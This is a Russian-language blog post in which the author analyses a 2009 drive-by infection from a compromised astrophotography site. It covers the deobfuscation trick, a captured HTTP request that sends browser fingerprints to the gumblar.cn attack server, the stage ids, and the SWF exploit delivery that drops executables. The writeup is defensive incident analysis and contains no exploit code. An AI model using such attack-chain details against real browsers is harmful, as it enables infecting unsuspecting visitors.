воскресенье, 10 мая 2009 г.

Китайские хакеры и с чем они едят Firefox.

Утром прошлого воскресенья встретился с кознями китайцев.

Загружаю страничку с одного хорошего зарубежного сайта по астрофотографии. Кликаю по ссылке как обычно - открыть страницу в бэкграунде. Дело происходило в FF 3.0.3. Я ничего не подозреваю.
И тут Каспер выдает в трее:
- файл "такой-то.exe" помещен в группу "Слабые ограничения"
- файл "сякой-то.bat" помещен в группу "Слабые ограничения".

Я на стреме щелкаю только загруженную страничку, файрфокс пишет: "Could not launch Acrobat".
При том шо страница простая как репа: несложно форматированный текст, табличка да несколько картинок. Нет анимации и прочего мультимедиа-шлака.

Дальше исходный код странички. Виден веселый тег script с операторами eval(), unescape(), replace() и невнятной чушью внутри. Знач
ит код закодирован. Остается выяснить - насколько хитро. Оказывается, нехитро.
Пишу вместо eval - alert и радуюсь раскодированному тексту скрипта.
Дальше - запустить скрипт, wireshark и наблюдать. Вторжение идет по простой схеме.

Шаг 1.
При открытии страницы выполняется скрипт:
- собирается ID браузера и ОС
- генерится User-agent и прочая инфа
- всё это отсылается на gumblar.cn/rss.xml?id=<число>
Число отвечает за стадию "затрояненности", на которой находится машина (выяснилось позже). На первом шаге это значение id - пустое.

GET /rss/?id= HTTP/1.1
Host: gumblar.cn
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.3) Gecko/2008092417 Firefox/3.0.3 (.NET CLR 3.5.30729)
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Referer: http://<исходная_хорошая_страничка>
Cache-Control: max-age=0

Всего встретились:
- Стартовый запрос /rss/?id=
- Промежуточные запросы /rss/?id=2, /rss/?id=3 в ходе которых подгружается еще один скрипт
- Последний /rss/?id=11&0

Шаг 2.
Китайский веб-сервер смотрит инфу от клиента и передает в ответ подходящий эксплойт. В моем случае это оказался баг обработки SWF (в FF или вообще в Adobe).
Так что после запроса /rss/?id=11&0 сервер выдает зловредный swf-файл. Название файла каждый раз новое, но содержимое постоянно.

Content-Length: 16570
Content-Disposition: inline; filename=vA.swf
Content-Transfer-Encoding: binary

Браузер колбасится, потом выполняется эксплойт, который и скачивает exe- и bat-файлы на c:\ И запускает их.

Шаг 3.
Больше ничего не случилось. Наверное оказалось недостаточно привилегий: я все браузеры запускаю через DropMyRights с пониженными привилегиями.
Обновил FF и Каспера. Сомнения остались: ведь загруженные файлы были запущены и выполнились 1 раз. Есть исчезающе малая вероятность, что троян очень хорош :) и Каспер, Process Explorer, RKU, Gmer и другие его не видят.
Прошла неделя - и никаких признаков зверя в системе нет.

Послесловие.
На сайте посмотрел e-mail автора, отправил ему алерт. Он ответил в тот же день вечером: поблагодарил и, говорит, полгода назад на хостинге уже был "security breache", после которого всем выдали новые пароли. Се ля ви.